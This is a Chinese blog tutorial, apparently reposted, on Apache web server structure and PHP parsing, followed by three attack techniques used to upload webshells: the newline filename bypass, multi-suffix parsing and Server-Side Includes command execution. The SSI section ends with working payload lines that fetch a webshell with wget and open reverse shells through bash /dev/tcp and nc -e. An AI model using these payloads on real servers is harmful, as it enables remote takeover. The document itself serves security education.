飞道的博客

Apache安全漏洞

218人阅读  评论(0)

Apache安全漏洞


1、Apache中间件介绍

Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。

简单来说就是一个好用的,并且能支持基础的HTML、PHP、Perl、Python等语言。很强

常见目录:

bin ------------- 存放常用的命令工具。例如httpd

cgi-bin --------- 存放Linux下常用的命令,例如xxx.sh

conf ----------- Linux的配置相关文件,例如httpd.conf

error ----------- 错误记录

htdocs ----------- 放网站源码

icons ------------- 网站图标

logs ---------------------- 日志

manual -------------------- 手册

modules -------------------- 扩展模块

Apache运行原理

浏览器向web服务器发送一个请求,如果请求的是静态资源,那么Apache直接返回给浏览器;如果请求的是动态资源,那么Apache会调用脚本程序php去处理(可能会与数据库交互),然后在返回给Apache封装成静态资源后返回给浏览器,浏览器将其展示出来。

PHP架构图:

Apache如何解析PHP

httpd.conf文件

# 加载php5_module模块
LoadModule php5_module php5apache2_2.dll的路径
# 添加可以执行php的问价类型,让.php文件类型解析为PHP
AddType application/x-httpd-php .php
# 或者将AddType变为下下面的(在Apache 2.4.0~2.4.29中默认使用了该方式)
<FilesMatch \.php$>
	SetHandler application/x-httpd-php
</FilesMatch>
以及
<IfModule dir_module>
DirectoryIndex index.html index.htm index.php index.phtml 
</Ifmodule>

Apache调用php的流程为:

HTTP --> Apache --> php5_module --> sapi --> php

2、Apache攻击手段介绍

----换行解析漏洞

影响版本:Apache 2.4.0 ~ 2.4.29

影响说明:绕过服务器策略,上传webshell

环境说明:PHP5.5、Apache2.4.10

漏洞原理:在php文件名后缀加了0x0a(换行),使得逃过了黑名单的检查,而Apache配置文件可以正确匹配.php0x0a的文件并当作php去解析。

注:在windows中不行,因为windows不允许换行符做文件名。所以虽然可以上传绕过检测,但文件无法保存。

漏洞复现:传送门

例子:

----多后缀解析漏洞

  • 影响版本:使用module模式与php结合的所有版本apache存在未知扩展名解析漏洞,使用fastcig模式与php结合的所有版本apache不存在此漏洞。

  • 影响说明:绕过服务器策略,上传webshell

  • 环境说明:PHP7、任意版本的使用module模式与php结合的apache

  • 漏洞原理:

apache支持php有多种模式,常见的有module、cgi、fastcgi等,此漏洞存在于module模式(关于CGI、FastCGI、PHP-FPM与Module模式传送门)。

Apache在遇到多个后缀的文件时,尝试从后往前解析,直到解析到可解析的为止。例如test.php.xxx就按照php去解析,test.php.aaa.jpg就按照php去解析。

根据这个原理,我们可以上传文件名如shell.php.xxx的文件,以此来绕过后端黑名单的检测,从而上传成功而且又能被Apache按照php去解析。

  • 漏洞成因:

apache配置httpd.conf

AddHandle application/x-httpd-php .php
或者
<FileMatch ".+\.ph(ar|p|tml)">
	SetHandler application/x-httpd-php
</FileMatch>

在/etc/mime.types中有定义哪些后缀是apache识别的

----SSI远程命令执行漏洞-说明

  • 影响版本:Apache全版本(支持SSI与CGI)
  • 影响说明:绕过服务器策略,上传webshell
  • 环境说明:PHP7.1、Apache2.4.25

SSI(server-side includes):是放置在HTML页面中的指令,它可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。以上是定义采用在Apache官网对SSI的定义,说白了就是可以在HTML中加入特定的指令,也可以引入其他的页面。开启SSI需要单独配置Apache,可以参考SSI配置。SSI可以完成查看时间、文件修改时间、CGI程序执行结果、执行系统命令、连接数据库等操作,功能非常强大。

<pre>
<!--#exec cmd="whoami"-->
</pre>
  • 漏洞利用

    文件名保存为test.shtml,这个后缀取决于Apache的配置,默认是此后缀。当后台对扩展名校验不严格时,可以上传此类型文件,达到执行命令,获取webshell的目的。

    test.shtml

    # 上传webshell
    <!--#exec cmd="wget http://xxx/shell.txt | rename shell.txt shell.php" -->
    <!--#exec cmd="echo '<?php phpinfo(); ?>' > shell.php"-->
    # 反弹shell
    <!--#exec cmd="bash -i >& /dev/tcp/192.168.1.120/8888 0>&1" -->
    <!--#exec cmd="nc x.x.x.x 8888 -e /bin/bash" -->
    
  • 漏洞复现:传送门


转载:https://blog.csdn.net/qq_43665434/article/details/116608631
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场